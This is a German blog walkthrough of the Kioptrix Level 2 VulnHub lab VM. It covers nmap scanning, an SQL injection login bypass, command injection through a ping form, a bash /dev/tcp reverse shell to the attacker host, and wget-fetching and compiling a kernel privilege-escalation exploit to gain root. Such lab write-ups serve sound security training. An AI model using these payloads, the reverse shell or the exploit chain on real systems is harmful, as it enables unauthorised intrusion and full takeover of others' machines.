Kioptrix Level 2

Was ist Kioptrix?

Kioptrix Level 2 ist eine VM Challenge. Das Ziel ist es, root Zugriff auf dem System zu erlangen. Dies kann auf unterschiedliche Weise passieren. Der Zweck dieser “Spiele” ist es, die Basics und Techniken von Schwachstellen zu erlernen und zu kompromittieren. Dies Hilft dabei Verständnisse eines Hackers aufzubauen, selbst Schwachstellen zu finden und gegebenenfalls diese auch zu schließen. Laden könnt ihr euch die jeweilige VM auf der vulnhub Seite:

Zum Starten benötigt ihr einen VM Player. Dazu könnt ihr den VM Player von VMWare oder den Virtualbox von Oracle verwenden. Ich persönlich verwende die Virtualbox.

Welcome to Kioptrix Level 2 Penetration and Assessment Environment


–The object of this game:
|_Acquire “root” access to this machine.


There are many ways this can be done, try and find more then one way to
appreciate this exercise.


DISCLAIMER: Kioptrix is not resposible for any damage or instability
caused by running, installing or using this VM image.
Use at your own risk.


WARNING: This is a vulnerable system, DO NOT run this OS in a production
environment. Nor should you give this system access to the outside world
(the Internet – or Interwebs..)


Good luck and have fun!

Kioptrix 2 kompromittieren

Informationsbeschaffung

Als erster Schritt in diesem Tutorial ermitteln wir die IP Adresse der virtuellen Maschine. Diese befindet sich natürlich im eigenen lokalen IP Bereich, also lasse ich alle IPs im 192.168.178.0 Netz mit NMAP scannen und ermittel somit die Hosts, die zurzeit online sind.

nmap -sn 192.168.188.0/24

Meine VM hat die 192.168.188.77 zugewiesen bekommen. Nun starte ich einen weiteren NMAP Scan, um alle möglichen offenen Ports auf dem Host zu finden.

nmap -sN 192.168.188.77 -r -sV 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-23 10:31 CEST
Nmap scan report for 192.168.188.77
Host is up (0.0011s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind    2 (RPC #100000)
443/tcp  open  ssl/https?
631/tcp  open  ipp        CUPS 1.1
3306/tcp open  mysql      MySQL (unauthorized)
MAC Address: 08:00:27:C3:FF:FC (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.85 seconds

Einer der gefundenen offenen Ports ist der HTTP-Port(80). Gehen wir also nun davon aus, dass die VM auch eine Seite hostet und versuchen diese zu ermitteln. Geben wir dabei http://192.168.188.77 im Browser ein, so finden wir eine Seite mit einem Login-Bereich.

Login Seite

Der Versuch einer SQL Injection

Benutzername = admin 
Passwort = ' OR '1'='1

war erfolgreich und somit sind wir auf die nächste Seite geleitet worden, wo wir einen Ping-Command bedienen können.

Web Konsole
Warum funktioniert hier SQL Injection?

Mit dem obigen “Passwort” manipulieren wir die SQL Query, die im Web Code enthalten ist. Der eigentliche Code parst unsere Eingabe nicht und somit können wir die Query manipulieren, in dem wir eine ‘OR ‘1’ = ‘1 mit übergeben. Somit überprüft der Code ob wir den Benutzer mit Password haben ODER ob 1 = 1 ist. Da 1 immer 1 ist und auch bleibt, werden wir auf die nächste Seite weitergeleitet. Mit der Code-Injection, weiter unten, können wir die SQL-Query auslesen. Ich greif hier mal vorweg und benutze zur Erklärung genau diese Query. Im PHP Code finden wir diesen Bereich:

$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";

Benutzen wir nun unser Passwort, so sieht die Query wie folgt aus:

"SELECT * FROM users WHERE username = '$username' AND password='' OR '1'='1'"

Query erhält somit also den Status “True” und wir können uns anmelden.

Code Injection

Bei dem Ping-Command können wir eine IP angeben und die Page gibt uns das Resultat wieder zurück. Versuchen wir nun weiteren Code anzuhängen, kommen wir zu der Überzeugung, dass auch hier unsere Eingabe nicht geparst wird.

192.168.188.1; ls -ltr

Auch hier bekomme ich den Ping zurück, aber er fügt zusätzlich noch die Dateistruktur an, die ich mit ls -ltr ermittelt habe. Mit der Code-Injection haben wir schon gegenwärtig Zugriff auf das System, auch wenn es nur mit Rechten des Apache2 läuft.

192.168.188.1; ls -ltr

PING 192.168.188.1 (192.168.188.1) 56(84) bytes of data.
64 bytes from 192.168.188.1: icmp_seq=0 ttl=64 time=1.02 ms
64 bytes from 192.168.188.1: icmp_seq=1 ttl=64 time=0.558 ms
64 bytes from 192.168.188.1: icmp_seq=2 ttl=64 time=0.631 ms

--- 192.168.188.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.558/0.737/1.023/0.205 ms, pipe 2
total 8
-rwxr-Sr-t  1 root root  199 Oct  8  2009 pingit.php
-rwxr-Sr-t  1 root root 1733 Feb  9  2012 index.php

Nehmen wir dies nun zum Anlass und schauen uns das PHP-Skript an. Übergebt also folgendes:

192.168.188.1; cat index.php

Damit könnt ihr euch das Skript ausgeben lassen.

mysql_select_db("webapp");
	
	if ($_POST['uname'] != ""){
		$username = $_POST['uname'];
		$password = $_POST['psw'];
		$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
		//print $query."
";
		$result = mysql_query($query);

		$row = mysql_fetch_array($result);
		//print "ID: ".$row['id']."
";
	}
Reverse Shell

Durch die Command-Injection können wir nun auch versuchen eine Reverse-Shell zu injizieren. Für die Reverse-Shell verwende ich netcat auf dem Kali System.

nc -lvp 4444
listening on [any] 4444 ...

Netcat lauscht jetzt auf dem Port 4444 und wartet auf eine Verbindung. Gehen wir also wieder zurück zu unserer Ping-Seite. Dort müssen wir nichts anderes machen, als eine Shell zu unserem Kali aufzubauen.

192.168.188.1; bash -i >& /dev/tcp/192.168.188.78/4444 0>&1

Habt ihr soweit alles richtig gemacht, haben wir eine Shell in unserem Terminal

192.168.188.77: inverse host lookup failed: Unknown host
connect to [192.168.188.78] from (UNKNOWN) [192.168.188.77] 36082
bash: no job control in this shell
bash-3.00$

Da wir zurzeit noch als apache User angemeldet sind, haben wir unser Ziel noch nicht erreicht. Durch eine sogenannte “Privilege Escalation” sollten wir an unsere root Rechte rankommen. Dafür benötigen wir die Distributioninformationen und Kernelinformationen

uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 athlon i386 GNU/Linux

cat /etc/*-release
CentOS release 4.5 (Final)

Bemühen wir uns also und suchen nach einem Exploit

searchsploit -w linux 2.6 CentOS

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------------------------------------
 Exploit Title                                                                                                                                                                                                                                                                |  URL                                       
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------------------------------------
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation                                                                                                                                  | https://www.exploit-db.com/exploits/9545
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Privilege Escalation (5)                                                                                                                                         | https://www.exploit-db.com/exploits/9479
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1)                                                                                                                                          | https://www.exploit-db.com/exploits/9542
Linux Kernel 2.6.32 < 3.x (CentOS 5/6) - 'PERF_EVENTS' Local Privilege Escalation (1)                                                                                                                                                                                         | https://www.exploit-db.com/exploits/25444
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation                                                                                                                                                        | https://www.exploit-db.com/exploits/45516
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ -------------------------------------------

Ich habe mich soweit für https://www.exploit-db.com/exploits/9545 entschieden.

Diesen Code gilt es nun auf dem Kioptrix zu installieren. Dafür stellen wir die Datei über einem Http-Server bereit, womit wir diese laden können. Da die Datei bei mir schon als Exploit vorhanden ist, kann ich diese einfach in meinem http-Ordner kopieren. Von dort aus starte ich dann auch den Http-Server.

rtf@kali-pc:~/http$ cp -p /usr/share/exploitdb/exploits/linux/local/9545.c .

rtf@kali-pc:~/http$ python -m SimpleHTTPServer 80

Mittels wget laden wir diese auf unserem Remote Host herunter. Da wir selber keine Schreibrechte im apache Ordner haben, müssen wir uns einen Ordner suchen, wo auch wir schreiben dürfen. /tmp/ wäre z.B. solch ein Ordner.

bash-3.00$ cd /tmp  
                   
bash-3.00$ wget http://192.168.188.78/9545.c
--10:01:14--  http://192.168.188.78/9545.c
           => `9545.c'
Connecting to 192.168.188.78:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,783 (9.6K) [text/plain]

    0K .........                                             100%  207.33 MB/s

10:01:14 (207.33 MB/s) - `9545.c' saved [9783/9783]


bash-3.00$ ls -ltr
total 12
-rw-r--r--  1 apache apache 9783 Aug 14 01:01 9545.c

Damit hätten wir die Datei auf unserem Kioptrix – Fehlt nur noch die Kompilierung zum Ausführen des Codes.

bash-3.00$ gcc -o escalation 9545.c
9545.c:376:28: warning: no newline at end of file

bash-3.00$ ls -ltr
total 20
-rw-r--r--  1 apache apache 9783 Aug 14 01:01 9545.c
-rwxr-xr-x  1 apache apache 6762 Aug 23 10:05 escalation

bash-3.00$ ./escalation
sh: no job control in this shell

Überprüfen wir nun, ob die Escalation erfolgreich war

whoami
root

BINGO! Die Escalation war erfolgreich und wir sind nun root. Ich wünsche euch viel Spaß mit Kioptrix Level 2

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert